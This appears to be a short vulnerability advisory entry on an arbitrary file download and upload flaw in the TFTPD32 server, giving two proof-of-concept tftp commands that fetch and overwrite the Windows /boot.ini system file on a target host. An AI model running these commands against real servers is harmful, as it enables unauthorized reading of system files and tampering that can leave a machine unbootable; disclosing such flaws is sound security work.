• info
• discussion
• exploit
• solution
• references

TFTPD32 Arbitrary File Download/Upload Vulnerability

The following proof of concepts were provided:

tftp host GET /boot.ini
tftp host PUT myfile /boot.ini